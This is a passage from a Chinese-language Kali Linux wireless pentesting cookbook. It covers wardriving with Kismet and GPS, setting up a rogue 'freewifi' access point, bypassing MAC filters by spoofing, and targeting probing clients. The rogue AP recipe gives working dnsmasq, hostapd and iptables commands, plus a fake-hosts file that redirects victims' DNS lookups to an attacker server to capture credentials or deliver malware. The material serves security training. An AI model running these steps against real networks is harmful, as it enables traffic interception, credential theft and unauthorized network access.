如果您要使用外部 GPS 设备,重要的是要注意并非所有这些设备都是平等的。一些设备能够在开机后很短的时间内获取卫星定位和位置,而其他设备可能需要长达两分钟甚至更长的时间才能在冷启动后获取卫星定位。影响 GPS 数据质量和准确性的另一个因素是 GPS 设备更新其位置的频率;一些设备可能更频繁地更新其坐标,而其他设备可能更新得不那么频繁,可能会影响坐标的准确性。

实际上,所有 GPS 设备都可以用于进行战车驾驶。唯一的要求是这些 GPS 设备能够向请求系统或软件提供当前和相当准确的 GPS 数据。

准备工作

要开始工作,您需要准备以下物品:

  • 能够进入监视模式的无线网卡

  • 已安装 Kismet 的 Kali Linux(默认 Kali 安装的一部分)

  • 蓝牙或 USB GPS 设备

这里列出的项目是基本要求,如果需要,您可以轻松地使用更多(或不同)的组件。例如,如果您想要增强范围,可以使用一个带有外部天线连接的基于 USB 的无线网卡,这样可以获得更好的接收。您也可以使用不同的无线应用程序来完成此任务,而不是 Kismet;但是,由于 Kismet 非常受欢迎,我们将在本教程中使用它。

操作步骤...

为了让 Kismet 访问 GPS 数据,我们需要先进行一些设置。这是通过使用 GPSD 来完成的。GPSD 实用程序用于从 GPS 返回信息,然后我们将在 Kismet 中使用这些信息:

能够与 Kismet 一起使用的 USB GPS 设备

  1. 首先,要使用gpsd,您很可能需要安装它,因为它通常不作为 Kali 的安装过程的一部分。为了安装这个服务,我们只需使用以下命令:
        apt-get install gpsd

  1. 然后,我们需要安装第二个称为gpsd-clients的软件包,以帮助检索 GPS 数据的过程。我们通过发出以下命令来安装这个软件包:
        apt-get install gpsd-clients

  1. 安装完成后,现在应该连接您的 GPS 硬件。我们可以通过发出以下命令来验证 GPS dongle 是否存在:
        lsusb

  1. 然后,验证您的无线适配器是否存在,并获取接口名称:
    ifconfig

  1. 接下来,确保您的 GPS 适配器显示在/dev/目录中。要做到这一点,使用以下命令:
        ls /dev/gps*

上述命令显示在以下屏幕截图中:

列出 GPS 设备的结果

  1. 这也应该帮助你识别名称。一旦你在/dev/中确定了路径,将其作为参数传递给gpsd
    gpsd /dev/gps[x]

  1. 一旦你确定了gps的名称并成功地将其传递给gpsd进程,现在是时候转到 Kismet,看看它是否检测到 GPS。为此,你将像之前一样启动 Kismet。

  2. 进入 Kismet 后,使用反引号/重音符号按钮(`)来访问顶部的 Kismet 菜单。向右滚动至Windows 菜单,然后选择 GPS Details:

GPS 详细信息窗口

  1. 假设您的 GPS 信号良好,您应该会看到一个窗口,显示类似于以下屏幕截图的内容:

在 Kismet 中接收到 GPS 信号。

请记住,如果您没有从多个卫星接收信号,则将无法获得可靠的位置信息。如果您无法从多个卫星接收到良好的信号,则应尝试移动到不同的位置,并等待几分钟,以查看是否可以重新获取信号。

  1. 我们的下一步是将 Kismet 会话期间创建的 .netxml 文件转换为 csv 格式。为此,我们将使用一个名为 giskismet 的应用程序,该应用程序将允许我们将 netxml 转换为我们预期的 csv 格式。在我们做任何事情之前,我们需要安装 giskismet;为此,我们执行以下步骤:

1. apt-get update

2. apt-get install giskismet

3. 按下 Enter


giskismet ­-x Kismet-DATE.netxml ­-q "select *

from  wireless" ­-o wardrive.kml

一旦您将 Kismet 配置为使用 GPS 确定无线访问点和客户端的位置,您还可以使用它来检测不受您控制但连接到您的网络的流氓访问点。为此,您需要知道已批准连接到您网络的访问点,然后使用 Kismet 对该区域进行调查,并找到那些您不认识但可能连接到您网络的访问点。

通过从原始数据创建的 KML 文件,我们现在可以做真正酷的部分,并将这些数据导入到 Google Earth 中:

  1. 使用浏览器打开 Google Earth。

  2. 在左侧,点击我的地点。

  3. 点击导入 KML 文件。

  4. 选择要上传的文件的位置。

  5. 选择并打开 KML 文件。Google Earth 中将打开列表的预览。

  6. 要将这些地点保存在您的列表中,请点击保存。

  7. 位置将保存到我的地点。

  8. 以下屏幕截图显示了在 Google Earth 中显示的来自 KML 文件的信息。

将 KML 数据合并到 Google Earth 中。

创建流氓访问点

在无线网络上妥协或规避访问控制的另一种有效方法是创建所谓的流氓访问点。流氓访问点简单地说就是在网络上安装了一个无线访问点,而没有得到网络所有者或管理员的明确许可或授权。在实践中,一个流氓访问点可以由一个出于善意的员工,甚至是一个不满的员工或入侵者来放置。

访问点可以是软访问点或某种形式的硬访问点中的一种。

软件访问点是通过软件创建的访问点,例如我们在 Kali 中拥有的类型以及其他第三方应用程序。甚至可以说,智能手机上的软件通过 Wi-Fi 连接共享手机的互联网访问,从而将智能手机本身变成了软访问点。

硬件访问点更为直接,因为它采取的是可以在计算机店或大型零售商店购买的硬件设备形式。事实上,当人们想要设置自己的无线网络时,大多数人会想到的就是这种访问点类型。这些访问点来自许多不同的供应商,但它们通常提供类似的功能,并由每个单独供应商添加各种增强功能。

准备工作

要开始工作,你需要先准备好以下物品:

  • 一个能够进入监听模式的无线网卡

  • 安装了 Kismet 的 Kali Linux(默认 Kali 安装的一部分)

这里列出的项目是基本要求,如果需要,你可以很容易地使用更多(或不同)的组件。例如,如果你想要增强范围,可以使用带有外部天线连接的 USB 无线网卡,这样可以获得更好的接收效果。

如何做...

为了配置一个恶意访问点,我们需要执行几个步骤。所有这些步骤的目标是配置系统上的无线适配器模仿访问点,并使用第二个适配器(最好是有线的)连接到互联网。最终结果是适配器模仿访问点拦截的流量将指向有线适配器和互联网,并通过无线适配器将响应发送回请求客户端。

首先,让我们配置一个适配器连接到互联网:

  1. 打开一个终端窗口,并运行ifconfig命令,如第一章Kali Linux 和无线网络中所述。

  2. 确定你希望用来连接到互联网的有线或无线适配器以及你将用作访问点的适配器。

  3. 注意适配器名称(通常wlan表示无线,eth表示有线)以备参考,并跟踪哪个适配器是哪个。你需要确定哪个适配器将连接到互联网,哪个将成为访问点。

  4. 你可以使用 Kali GUI 将一个适配器连接到互联网(在这个例子中,我们将这个适配器命名为eth0)。

我们进程的下一部分是启动无线适配器并配置为访问点的网关。我们可以通过以下步骤完成这一点。在这个例子中,我们假设接口名称为wlan0

  1. 使用ifconfig命令配置wlan0的网关,执行以下命令(在这个例子中,我们将网关设置为10.0.0.1/24,但它可以设置为任何有效的网关,只要它不与现有地址范围或网关发生冲突):

Ifconfig wlan0 10.0.0.1/24 up

  1. 一旦我们将wlan0配置为我们的网关,我们现在想要配置 DHCP 和 DNS 来分配 IP 地址并为我们的客户端执行名称解析。通过配置我们的伪造接入点来为请求的客户端分配 IP 地址,现在可以为他们提供网关和 DNS 服务器的地址。当我们希望执行中间人和嗅探攻击时,DNS 部分变得非常重要,因为它允许我们拦截名称查询并根据我们的需要重定向它们。

  2. 我们在这个过程中的步骤是配置和执行dnsmasq。这个实用程序将允许我们执行 DHCP 和 DNS 的两个角色。

  3. 我们首先创建一个名为dnsmasq.conf的文件,它告诉dnsmasq应用程序如何工作。要做到这一点,您需要打开一个文本编辑器,如gedit或任何创建简单文本文件的工具。在这个文件中,您将输入如下信息:


interface=wlan0

dhcp-range=10.0.0.10,10.0.0.250,12h

dhcp-option=3,10.0.0.1

dhcp-option=6,10.0.0.1

server=8.8.8.8

  1. 完成后,将此信息保存到名为dnsmasq.conf的文件中。

您刚刚创建的此文件的作用如下:

  • Interface:这指定要监听请求并分配地址的接口。

  • Dhcp-range:这提供了dhcp范围以及租赁 IP 地址的小时数。

  • Dhcp-option:这些是dhcp服务器。

  • Server:这是您将要转发查询的 DNS 服务器的地址。请记住,只要有此文件存在,我们正在配置的访问点将转发所有请求到8.8.8.8进行解析(在本例中,该地址指向谷歌的一个免费 DNS 服务器)。如果我们不做任何其他操作,这个系统将只像任何其他访问点一样工作,不会有任何特殊的行为。

如果我们希望拦截请求,我们需要创建一个额外的文件,称为fakehosts.conf,它允许我们告诉dnsmasq我们想要拦截哪些查询:

  1. 我们首先创建一个名为fakehosts.conf的文件,它告诉dnsmasq应用程序哪些请求将被拦截。

  2. 要做到这一点,您需要打开一个文本编辑器,如 gedit 或任何创建简单文本文件的工具,就像我们之前做的那样。在这个文件中,您将输入如下信息:


10.0.0.9 usatoday.com

10.0.0.9 zelda.com

将此文件保存为 fakehosts.conf

  1. 这将导致dnsmasq DNS 服务器对这两个地址的任何请求都响应10.0.0.9。在实际的攻击场景中,我们将放入我们控制的服务器的 IP 地址,这样当受害者访问它时,他们将提供信息或被恶意软件感染,或者我们希望的其他内容。

  2. 我们需要启动dnsmasq,如下所示:


dnsmasq -C dnsmasq.conf -H fakehosts.conf

  1. 这告诉dnsmasq使用dnsmasq.conf-C)进行配置,并在fakehosts.conf中引用关于伪造主机的信息。

  2. 配置和成功启动dnsmasq(意味着没有返回错误)之后,我们现在可以启动接入点本身。这意味着我们将启动一个服务,使我们的无线适配器能够将自己宣传为一个愿意连接的任何人的接入点。为此,我们需要运行一个名为hostapd的程序。

  3. 为了运行hostapd,我们首先需要安装它;这可以通过运行以下命令完成:


apt-get install hostapd

  1. 接下来,与dnsmasq类似,我们需要创建一个conf文件,告诉hostapd.conf如何运行;我们通过执行以下步骤来完成这些操作:

    1. 打开文本编辑器。

    2. 在文件中输入以下内容:


interface=wlan0

driver=nl80211

ssid=freewifi

channel=1

    1. 将文件保存为hostapd.conf

    2. 此文件为我们提供了重要的配置信息;以下是每行提供的含义:

      • 接口:这是要侦听的接口名称。

      • 驱动程序:这是要使用的驱动程序的名称。在这种情况下,我使用了nl80211,它适用于广泛范围的无线适配器,但如果这个驱动程序对您的设备不起作用,您可能需要研究适用于您设备的驱动程序。

      • Ssid:这将是要广告的网络的名称。

      • 频道:这是用于广播无线信号的频道。此值可以设置为您无线环境中的任何值频道。

  1. 接下来,我们需要启动接入点;我们通过执行以下命令来完成此操作:


hostapd ./hostapd.conf

  1. 这将启动接入点。可能会看到关于更新失败的错误消息,但这是正常的,并且通常没有什么不良影响。

  2. 接下来,我们需要进行一些路由,将来自wlan0eth0的流量转发,基本上创建一个非常简单的 NAT 设置。为此,请发出以下命令:


sysctl -w net.ipv4.ip_forward=1

iptables -P FORWARD ACCEPT

iptables --table nat -A POSTROUTING -o

wlan0 -j MASQUERADE

此时,您现在应该可以连接到免费的 Wi-Fi,获取 IP 地址,并开始使用互联网。

一旦您运行了恶意接入点,您有很多选项可以利用它给那些连接到它的人带来烦恼。例如,在接入点上运行像 Wireshark 这样的数据包嗅探器,将允许您捕获通过接入点移动的流量。这意味着连接到接入点的受害者可能会暴露重要数据,例如登录凭据,如果它们没有受到其他保护。

通过 MAC 欺骗规避 MAC 过滤

在您的探索过程中,可能会采用一种技术对抗您,以阻止您的一种技术被称为 MAC 过滤。简而言之,MAC 过滤是一种反制措施,涉及列入白名单批准接入您网络的设备的 MAC 地址,或列入黑名单您不想在网络上使用的设备。虽然这种技术极为罕见,并且通常只出现在最小的网络中,但作为一种经常被推荐的安全机制,它仍经常出现。在这里,我们将探讨如何规避 MAC 过滤并无论如何访问网络。

在大多数消费者和商用级接入点中,很容易找到 MAC 过滤选项。通常,这个选项被称为 MAC 过滤,或者可能在访问控制的一组设置中,甚至可能在一些接入点中被标记为已批准或已阻止的设备。不管它叫什么名字,它的功能都是相同的,即无线网络的管理员将选择收集他们控制的无线设备的所有 MAC 地址,并手动输入到接入点中,从而将它们列入白名单。另一方面,管理员还可以选择使用黑名单,他们将检测到连接到无线网络的或正试图连接到无线网络的恶意设备,并手动输入它们的 MAC 地址进行阻止。在任何一种情况下,这个过程可能会相当乏味和耗时,随着网络规模的增加以及对无线网络进行的更多更改,情况将变得更加如此。

正如你从本节的名称中可能猜到的那样,有一种方法可以逃避 MAC 过滤,那就是通过一种非常简单而有效的技术,即 MAC 欺骗:

无线路由器上的 MAC 过滤选项

MAC 地址欺骗是一种改变网络适配器所报告的 MAC 地址的技术。作为简单回顾,您应该记得 MAC 地址,有时称为物理地址,是分配给每个网络适配器的十六进制值,该值在制造时被分配。部分原因是设计,部分原因是行业标准,这些地址被设计为唯一的,所以没有两个网络适配器应该具有相同的 MAC 地址。正是因为这个原因,MAC 过滤能够起到作用。然而,通过使用 MAC 地址欺骗,我们可以更改报告的地址,从而放入我们想要从网络适配器中报告的任何地址。在实践中,这意味着通过将我们的 MAC 地址更改为我们选择的地址,我们可以通过更改我们的 MAC 地址来逃避黑名单,或者我们可以使用一个已批准设备的 MAC 地址来规避白名单。

那么,让我们看看如何做到这一点。

准备工作

要开始操作,你需要准备以下物品:

  • 一张能够进入监控模式的无线网卡

  • Kali Linux

  • airmon-ng

  • airodump-ng

  • MAC 地址更改器

列出的物品是基本要求,如果需要,您还可以轻松使用更多(或不同的)组件。例如,如果您想要增加信号范围,可以使用一个具有外部天线连接的基于 USB 的无线网卡,该无线网卡可以获得更好的接收。在本篇文章中,我们还将使用 aircrack-ng 套件的两个组件(我们将在本书中更多地了解到)来识别客户端及其 MAC 地址以进行攻击。

如何实现...

接下来是执行攻击的步骤:

  1. 执行这种类型攻击的第一步是将您的 Wi-Fi 适配器切换到监视模式,以便我们可以检测到我们需要的流量和它们的关联 MAC 地址的信息。为此,我们运行以下命令:

airmon-ng start wlan0

  1. 在这种情况下,命令序列告诉 Kali 在 wlan0 接口上启动 airmon-ng 进程。这个应用程序将启动监控模式的接口,这非常重要。基本上,Wi-Fi 中的监控模式允许网卡观察所有无线流量,而无需先关联到任何接入点。

  2. 完成后,我们现在希望查看特定接入点的所有连接的客户端。为此,我们简单地使用以下命令序列:


airodump-ng -i wlan0mon

请注意,我们正在使用的接口的名称是 **wlan0mon** 而不是 **wlan0**。这是因为当我们执行 **airmon-ng** 时,它将网卡切换到监视模式,同时添加了一个新接口 **wlan0mon**。您可以通过简单运行 **ifconfig** 命令查看这些接口名称。

  1. airodump-ng 现在在终端底部显示了所有连接的客户端的列表。第二列列出了连接客户端的 MAC 地址,我们将伪造这些地址以在无线网络上进行身份验证。当然,我们对某些特定内容感兴趣。看一下 airdump-ng 运行中的以下图形:

airodump-ng 正在运行。

  1. 注意接口底部的最后三行。当我们仔细观察时,我们会看到这三行中的第一行显示的是一个未关联到任何接入点的客户端,而接下来的两个条目显示已关联的客户端。要确定一个站点关联的接入点,我们只需要查看条目的第一列,并将底部三行的一个接入点的 MAC 地址与顶部的一个接入点的 MAC 地址匹配。我们甚至可以通过查看与 MAC 对应的网络名称来确定该名称。并不太糟糕。

请注意,您可能会看到多个客户端连接到任何一个接入点,这是完全正常的。只需确保在选择连接到接入点的站点的 MAC 地址时,正确选择了接入点和站点的 MAC 地址,这样您就不必多次重新运行 airodump

  1. 一旦我们选择了一个网络,并注意到了与之关联的站点的 MAC 地址,我们现在想要在我们希望连接到目标的系统上伪装该地址。做到这一点相当简单。

  2. 首先,我们关闭 wlan0mon 接口,以便在下一步中使用无线网卡。为此,我们运行以下命令:


Airmon-ng stop wlan0mon

  1. 现在我们需要关闭我们希望更改 MAC 地址的无线接口。为此,我们运行以下命令:

ifconfig wlan0 down

  1. 现在我们可以使用实用程序macchanger来修改 MAC 地址为之前注意到的那个。为此,请执行以下命令:

macchanger -m [New MAC Address] wlan0

  1. 一旦命令成功完成,我们可以使用ifconfig将接口重新启动:

ifconfig wlan0 up

  1. 现在我们已经将适配器的 MAC 地址更改为新的 MAC 地址,我们可以尝试与网络进行身份验证,看看我们是否能够连接。如果我们能够选择网络并成功连接,那么我们就做对了。如果没有,请再次检查你伪造的 MAC 地址与你从airodump中收集的 MAC 地址是否一致。另外,如果网络正在运行诸如 WEP 或 WPA 之类的保护措施,你将无法连接。不过,别担心;如果你遇到困难,我们将在本书的后面解决这个问题。

识别混杂客户端

在一个安全(或被认为是安全的)网络上放置了一个恶意接入点,现在就有可能发生大量的损害和其他恶作剧。混杂客户端是一个问题,因为这些客户端会发送探测请求,寻找它们可能过去连接过的无线网络。它们参与这个过程的事实使得它们可能会意外地连接到一个网络,并且对安全构成问题。

探测数据包是一种特殊类型的请求,用于连接先前关联的网络接入点。这些数据包由智能手机、笔记本电脑和其他当前未连接到 Wi-Fi 网络的设备发送,用于定位和连接先前关联的网络。当这个探测数据包被发送出去并且客户端先前关联的网络被识别出来时,它们将尝试重新关联,就像它们以前做过的那样。

除了其他配置和技术信息外,大多数设备每 40 到 60 秒发送一次这个请求,这使得使用这些请求来跟踪人员的移动特别有用。我应该指出的是,这些数据包中没有嵌入位置信息。我们只知道如果我们从某个设备接收到了探测请求,它就在监视芯片的一定距离内。

探测请求中嵌入的另一个有趣的信息是 SSID。一个未连接到任何网络的设备将向公众以及特定的接入点发送探测请求:已记住的设备。

例如,当你在家里时,假设你连接到了名为 HOME 的家庭 Wi-Fi 网络。当你没有连接到 HOME 时,一个带有 SSID HOME 的探测请求被广播出去。因此,我们不仅可以知道某个设备距离我们的 Wi-Fi 芯片有一定的距离,我们现在还知道它们设备上记住的网络。这是一个常被批评的漏洞。不过,在我们的情况下,这对于唯一识别某人特别有用。

准备工作

为了开始,你需要准备好以下物品:

  • 一个能够进入监视模式的无线网卡

  • 安装了 Kismet 的 Kali Linux(默认 Kali 安装的一部分)

这里列出的项目是基本要求,如果需要,你可以轻松地使用更多(或不同)的组件。例如,如果你想要增强范围,你可以使用一个带有外部天线连接的基于 USB 的无线网卡,这样可以获得更好的接收效果。你也可以使用其他无线应用程序来完成这个任务;然而,由于 Kismet 非常受欢迎,我们将在这个教程中使用它。

如何做…

Kismet 是一个有效的工具,用于定位和提取无线接入点和设备的有用信息。

只是一个小小的警告:在命令行中发出启动 kismet 的命令之前,您应该确保如果您使用外部 Wi-Fi 适配器,您已经在发出命令之前安装和配置好了它。默认情况下,kismet 应该配置为使用物理系统上存在的无线适配器;但是,如果您选择使用外部适配器,您可能需要执行额外的配置,以便让 kismet 自己识别和配置您的适配器。

在这个教程中,我们将通过命令提示符启动 kismet。但是,它也可以从应用程序菜单的无线攻击部分启动。无论哪种情况,启动 kismet 都会导致这里记录的相同步骤:

  1. 打开一个终端窗口。

  2. 在命令提示符下,输入命令kismet

  3. 现在,您将从半图形环境中配置 Kismet。您将使用TabEnter键进行导航。

  4. 使用Tab键突出显示“否”如果你看不到灰色字母行。否则,保持“是”突出显示。

  5. 再按一次Enter键。

  6. 按一次Enter键以确认 Kismet 正在以 root 身份运行。

  7. 再按一次Enter键以自动启动 Kismet 服务器。

  8. 按一次Enter键以验证你要启动 Kismet 服务器。

  9. 按一次Enter键以验证您可以“添加”一个捕获源。

  10. 输入您使用ifconfig发现的无线接口的名称。如果您不记得,可以打开另一个控制台窗口,再次运行ifconfig命令以确定正确的接口(通常以wlan开头命名)。以下屏幕截图显示了接口输入屏幕:

Kismet 接口配置

以下是 Kismet 接口配置的步骤:

  1. 再按一次Tab键。

  2. 在“名称”字段中输入无线接口的名称。

  3. 按一次Tab键。

  4. 再按一次Tab键。

  5. 再按一次Enter键。

  6. Kismet 应该能够识别已命名的无线接口,如果你输入的名字是正确的话。它还会生成不需要的虚拟接口的名称,比如wlan0monwlan0monmonwmaster0

  7. 当在 shell(Kismet 窗口)的右下角显示“关闭控制台窗口”时,按一次键盘上的Tab键以突出显示“关闭控制台窗口”。

  8. 再按一次Enter键。

  9. 无线接入点的列表将显示在 shell(Kismet 窗口)的左上方。

  10. 单击下拉菜单中的“查看”。

  11. 单击“监视活动”。

与之前一样,如果等待足够长的时间,我们将看到更多的信息填充 Kismet 窗口,包括与探测网络相关的条目。与之前不同的是,我们想看看是否可以以某种方式使用这些信息,我们可以:

kismet 窗口显示检测到的无线客户端。

如果您在探测网络标题下识别出一个吸引您注意的网络,那么您可以使用我们其他食谱中的信息来诱使受害者遭受攻击。我们这样做的方式是创建一个恶意访问点,就像我们在之前的食谱中所做的那样。这一次的不同之处在于,我们将使用我们希望攻击的探测网络的名称来启动恶意访问点。如果一切顺利,客户端最终会连接到我们创建的访问点,然后我们可以开始嗅探流量或执行其他操作。

第三章:攻击完整性控制

在本章中,我们将涵盖以下内容:

  • 在无线网络上嗅探

  • 使用监视模式和数据包注入

  • 执行数据重放

  • 破解 WEP

介绍

在处理任何类型的网络或信息时,需要解决的基本组成部分之一是完整性。数据的完整性是至关重要的,因为信息的接收者需要确信他们接收和依赖的信息忠实于数据的创建者和发送者的意图。如果数据的完整性和信心丧失,那么数据基本上就变得毫无价值。

如果您在安全领域工作了足够长的时间,您无疑会遇到著名的 CIA 三角,它是保密性完整性可用性的简称。简而言之,保密性是指保护信息免受未经授权的访问或披露。可用性是指保持对系统和数据的访问尽可能恒定或接近恒定(通常以正常运行时间来讨论,如 99.999%的正常运行时间)。最后,完整性组件是我们在本章中要讨论的内容。数据的完整性确保信息没有错误、损坏、修改或任何未经授权的第三方所做的事情。

请记住,在处理 CIA 时,提供一个并不意味着你正在解决其他问题。例如,提供完整性控制并不以任何方式意味着信息的保密性,因为这是一种不同类型的控制。事实上,在许多情况下,您可能会为 CIA 的一个方面提供保护,但不会为其他方面提供保护。例如,您可能希望确保您发送的电子邮件可以被所有人阅读,但您可能会对其进行控制,以确保没有人可以更改它,使其看起来像您说了一些您没有说的话。

重要的是要记住,对于任何组织或个人来说,没有魔法子弹或公式来规定这三个组件的完美平衡。您将需要进行风险评估或评估,以确定根据您独特的威胁和漏洞在您的情况下的平衡。

要破坏数据的完整性,攻击者只需找到一种改变或损坏数据的方法,使其受到质疑或无法按原始意图使用。为了执行基于完整性的攻击,恶意方将寻求访问网络(在我们的情况下是无线网络)并影响数据流并以某种方式修改数据。他们如何修改数据将取决于他们的具体目标和意图。

如果恶意方试图使数据变得毫无价值,他们可以重定向它、损坏它,甚至阻止它到达预定目的地。如果恶意方试图以某种方式改变数据以改变过程的结果,他们可能会使用任意数量的旨在改变数据的值或结构以实现其结果的工具。例如,攻击者可能会拦截股票报价并在传递给接收者时更改各种股票的价值,以诱使他们在本来不会买或卖时进行交易。最后,影响网络本身的完整性也可能允许攻击者突破安全性并拦截诸如凭证和其他有价值的信息。

在无线网络中,影响完整性的攻击是广泛而强大的,可以采取多种不同形式,每种形式可以独立使用或结合起来创建更强大的攻击解决方案。无线网络中使用的一些完整性控制机制的例子是:

  • 加密:这是保护机密性和完整性的非常有用的控制或对策。在完整性方面,加密和哈希的数据更难受到破坏,因为它们在没有密钥的情况下是无法解密的,或者(就哈希而言)数据的更改将导致其无效化。

  • 预共享密钥(PSK)系统:这涉及使用在每台工作站或设备上输入的共同密钥,以使其能够对无线接入点进行身份验证。这种保护通常以非企业 WEP、WPA 或 WPA2 的形式出现。

  • 企业认证:这种类型的系统与基于 PSK 的环境工作方式相同,只是密钥管理是通过诸如 RADIUS 等系统进行集中管理的。

这只是可以部署以强制执行完整性的潜在措施的简短清单,然而在无线环境之外还有许多其他可供选择的措施,可以补充或取代上述清单中提到的措施。

一旦获得了网络访问权限并且数据的完整性受到质疑,攻击者可能选择为了任何目的而改变事物。

攻击类型

完整性控制攻击有很多种,当由熟练和有经验的人使用时,所有这些攻击都非常有效。本章介绍的攻击方法代表了一些可以在无线网络及其客户端设备上部署的最有效和最受欢迎的方法。

在我们开始探索每一种攻击之前,让我们首先列出本章将涵盖的攻击类型:

  • 嗅探

  • 数据重播

  • 数据包注入

  • 信标帧的检测

  • 欺骗信标帧

请记住,这些只是可以用来破坏无线网络完整性的攻击类型中的一部分;它们永远不应被视为唯一的攻击类型。

无线网络上的嗅探

嗅探是一种用于观察网络上流量的技术,它从发送者到接收者(在许多情况下还会返回)的过程中进行。嗅探允许您捕获实时流量,并通过使用过滤器进行提炼,或者可以捕获并保存到文件以供以后分析和处理。嗅探是一种获取有关网络和其中设备信息的强大技术,这些信息反过来可以作为后续活动的基础。

请注意,我在本段的第一行中将嗅探称为一种观察网络上流动的流量的技术。这是一个重要的细节,我觉得可能有些微妙,需要相应地指出。嗅探本身绝不应被视为用于执行攻击的东西,否则我们会陷入认为这是它的唯一用途的思维定势。事实上,嗅探是一种每天都用于完全善意和有益的方式的技术。网络管理员使用嗅探器来诊断网络问题,优化性能,以及进行许多其他有益的用途。

在本章中,我们只是利用嗅探的能力来捕获网络中的信息,然后根据我们发现的内容采取行动。使用这个工具的善意或恶意取决于我们发现的结果的意图。

嗅探是如何工作的?

嗅探通过利用或改变某些条件来实现。嗅探的目标是观察系统执行嗅探时所经过的流量,但在正常操作条件下,任何系统只能看到直接发送给它或来自它的信息。这是有道理的,因为一个必须处理所有流过的信息的系统将因效率低下和性能差而陷入困境 - 更不用说它也会是一个安全风险。

为了查看流经的所有流量,网络适配器需要切换到所谓的混杂模式。要理解混杂模式,首先要了解在正常情况下,网络适配器不会在这种条件下运行。在实践中,运行在非混杂模式下的适配器将过滤掉所有不是针对它的流量,并且只处理那些寄给它的流量。然而,当一个网络适配器切换到混杂模式时,情况就会改变。在混杂模式下,适配器将不再过滤掉不是针对它的流量,并且允许系统上安装的软件(用于处理这些信息)查看所有流量。下图显示了一个处于混杂模式的适配器放置在一个网络上。

进行嗅探的系统设置

在现代网络环境中,几乎每个网络适配器都可以切换到混杂模式,只需要相应的指示即可。然而,在大多数情况下,切换到这种模式对于正常操作来说是完全不必要的,因为设备只需要看到针对它的信息。正是因为这个原因,使用设计用于检测系统中使用此模式的方法是有效的,可以定位可能正在运行未经授权的嗅探活动的系统。请记住,适配器处于混杂模式本身并不是警报的原因,因为网络适配器可能以这种模式运行的合法原因。一个主要的例子是网络入侵检测系统NIDS),它们旨在检测并向网络管理员报告可疑的流量或活动的存在。由于它们的本质,这些系统必须以混杂模式运行,以便观察所有流量。

在无线网络中,我们没有混杂模式,但是我们有一些我们在第二章中提到的东西,即监视模式。监视模式具有一些与混杂模式不同的特性。首先,切换到监视模式的适配器可以观察无线网络上传输的数据,而无需首先与其关联。其次,监视模式在大多数情况下阻止适配器传输数据。第三,一个适配器可能被限制在一次只监听一个信道,但这取决于所涉及的设备和驱动程序。

另外需要注意的是:许多包括在智能手机、平板电脑和类似设备中的网络适配器不支持混杂模式,因此必须使用外部适配器才能具备这种能力。

为了观察网络上的所有流量,一旦我们处于混杂模式,我们必须首先能够看到流量。换句话说,如果你不在同一个房间里,就不能窃听对话(不包括窃听设备和 NSA 设备)。在网络中,这意味着你必须在同一个冲突域中。

在传统有线网络中,所有设备都通过集线器连接,它们实际上都在同一个冲突域中。想想集线器的工作方式:发送到集线器上的一个端口的流量会自动发送到集线器上的所有端口。由于任何站点都可以随时发送,碰撞可能会发生,这导致了所谓的冲突域。当存在这种类型的情况时,很容易监听网络上的流量,因为每个站点共享相同的逻辑传输区域。基本上,当观察者和受害者存在,以便彼此看到对方的行动时,嗅探是有效的。

请注意,在现代网络上,使用集线器是不受欢迎的,原因有很多,包括我们在这里讨论的嗅探。在现代网络中,交换机已经完全取代了集线器,以避免这种风险,同时优化网络性能和简化管理。

基本上,对于无线网络来说存在着与之类似的情况,其他设置好的方派可以观察到流量。

要知道,传统有线网络在设计上使用了一种称为CSMA/CD的基于冲突的技术,它是载波监听多路访问 冲突检测的缩写。这在实践中意味着,如果两个或更多站点同时传输,它们将引起冲突(可以将其想象为两个人同时说话)。这项技术将检测到冲突,并通过强制两个站点等待随机一段时间来重新传输,并希望避免另一个冲突。冲突是许多网络的正常部分,直到冲突变得过多,这种情况下,网络可以被分割以减少冲突的数量到一个更好的水平。

在无线网络中,使用一种称为CSMA/CA载波监听多路访问 冲突避免的技术。你可能会猜到,这个过程不是检测冲突,而是完全避免冲突。在实践中,这意味着一个站点将检查是否有人在传输,如果没有,它将发送一个信号表示它准备好传输,以防止其他站点发送数据。在这一点上,设备将传输并在传输完成时发出信号,以释放网络。

一些有线网络确实使用 CSMA/CA,但这并不是非常常见的。

进行成功的嗅探的下一个组成部分是以网络嗅探器的形式拥有软件。在 Kali Linux 中,我们有许多旨在做到这一点的工具;其中一些最受欢迎的工具如下:

  • Dsniff:这是一套围绕嗅探主题的工具,每个工具都设计用于非常有效地执行特定类型的嗅探。许多工具都围绕特定的协议或目的而设计。

  • Tcpdump:这是 Linux 中最常用的网络嗅探器/分析器之一。Tcpdump 是一个命令行工具,非常适合显示头部信息。Tcpdump 可以在www.tcpdump.org上找到。

  • EtherApe:这是一个 Linux/UNIX 工具,旨在以图形方式显示系统传入和传出的连接,以更好地可视化网络活动。

  • Wireshark:最广为人知和使用的数据包嗅探器之一。提供了大量功能,都旨在帮助解剖和分析流量。

  • Kismet:我们在第二章中见过这个实用程序,攻击访问控制,当时我们进行了战争驾驶。这个实用程序有很多功能,包括数据包嗅探器。

嗅探器是用于捕获和扫描网络上移动流量的实用程序。你会发现嗅探器是你攻击工具中非常有价值的一部分,但它们为什么如此强大呢?使用嗅探器的最大原因之一是捕获和解剖未加密的网络流量,至少在我们的情况下是这样。

嗅探器的成功程度取决于某些网络协议的相对和固有的不安全性。诸如经过验证的 TCP/IP 协议从未考虑过安全性,因此在这方面提供的保护不多。有几种协议容易被嗅探:

  • Telnet/RLOGIN:容易被嗅探的包括用户名和密码在内的按键输入

  • HTTP:旨在以明文发送信息而没有任何保护,因此是嗅探的一个好目标

  • 简单邮件传输协议SMTP):在电子邮件传输中常用的协议,它是高效的,但不包括任何防止嗅探的保护

  • 网络新闻传输协议NNTP):所有通信,包括密码和数据,都是以明文发送的

  • 邮政办公室协议POP):设计用于从服务器检索电子邮件,该协议不包括防止嗅探的保护,因为密码和用户名可以被拦截

  • 文件传输协议FTP):设计用于发送和接收文件的协议;所有传输都是以明文发送的

  • 互联网消息访问协议IMAP):在功能和缺乏保护方面类似于 SMTP

这里列出的所有协议都以明文形式传输它们的信息,包括密码、用户名、按键和数据。

准备工作

要开始,您需要准备好以下物品:

  • 能够进入混杂模式的无线网卡

  • 已安装 Wireshark 的 Kali Linux

Wireshark 应该作为 Kali Linux 的默认安装的一部分安装,就像以前一样。您不应该安装这个软件包,而是应该能够在 Kali 的应用程序菜单下的嗅探菜单中选择它。

如何做...

